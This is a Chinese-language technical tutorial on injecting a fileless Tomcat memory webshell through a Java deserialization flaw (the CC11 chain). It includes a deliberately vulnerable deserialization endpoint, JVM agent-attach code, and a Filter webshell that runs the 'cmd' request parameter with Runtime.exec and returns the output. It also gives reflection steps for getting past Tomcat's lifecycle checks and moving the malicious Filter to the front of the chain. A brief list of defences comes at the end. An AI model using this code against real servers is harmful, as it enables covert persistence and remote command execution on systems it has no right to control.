结合反序列化注入tomcat内存马
字数 999 2025-08-10 13:48:27
反序列化注入Tomcat内存马技术详解
0x01 技术背景
内存马是一种驻留在内存中的恶意程序,相比传统WebShell具有更强的隐蔽性。本文重点讲解通过反序列化漏洞动态注入Tomcat内存马的技术细节。
传统内存马与反序列化注入的区别
- 传统方式:将恶意代码写入JSP文件上传,本质上是Servlet,会编译成class文件并落地
- 反序列化注入:动态注入,无需文件落地,隐蔽性更强
0x02 环境搭建
依赖配置
使用SpringBoot + Commons-Collections + Javassist构建测试环境:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-autoconfigure</artifactId>
<version>2.5.6</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.5.6</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
反序列化入口
创建反序列化漏洞入口:
@RequestMapping("/attack")
@ResponseBody
public String evalTest(@RequestParam String data) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(
new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
return "Success";
}
0x03 反序列化利用链选择
使用CC11链进行攻击,关键点:
- 恶意类需要继承
AbstractTranslet接口 - 通过类加载机制执行恶意代码
0x04 内存马注入技术
1. Agent内存马注入
实现原理:
- 通过
VirtualMachine类加载Agent Jar包 - Agent可以动态修改字节码(如Filter)
关键步骤:
- 获取
VirtualMachine类:
File toolsPath = new File(System.getProperty("java.home").replace("jre","lib") +
File.separator + "tools.jar");
URL url = toolsPath.toURI().toURL();
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
- 获取JVM进程ID:
Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
List list = (List)listMethod.invoke(MyVirtualMachine, null);
- 加载Agent:
Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{String.class});
Object vm = attach.invoke(o, new Object[]{id});
Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[]{String.class});
loadAgent.invoke(vm, new Object[]{path});
2. 获取Request/Response注入内存马
关键点:
- 利用
ApplicationFilterChain中的静态变量:lastServicedRequestlastServicedResponse
实现步骤:
- 修改
WRAP_SAME_OBJECT属性(需要移除final修饰):
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
-
初始化静态变量存储Request/Response
-
动态注册Filter内存马
0x05 Filter内存马实现
完整实现代码
public class TomcatInject extends AbstractTranslet implements Filter {
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "Xilitter";
static {
// 获取ServletContext和StandardContext
// 修改LifecycleState
// 添加Filter
// 调用filterStart初始化
// 调整Filter顺序
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
// 执行命令并回显
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
}
关键实现细节
- 获取StandardContext:
ServletContext servletContext = getServletContext();
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);
- 绕过LifecycleState检查:
Field stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
// 添加Filter后恢复状态
stateField.set(standardContext, LifecycleState.STARTED);
- 初始化Filter:
Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
- 调整Filter顺序:
// 获取所有FilterMaps
Method m = StandardContext.class.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
// 将恶意Filter移到首位
0x06 防御建议
- 及时修复反序列化漏洞
- 限制JVM attach功能
- 监控Filter动态注册行为
- 检查StandardContext异常修改
- 使用RASP进行运行时防护
0x07 总结
本文详细分析了通过反序列化漏洞注入Tomcat内存马的技术细节,包括:
- Agent内存马注入原理
- Request/Response获取方法
- Filter内存马完整实现
- 关键绕过技术
这种攻击方式无需文件落地,隐蔽性强,是高级攻防对抗中的常用技术。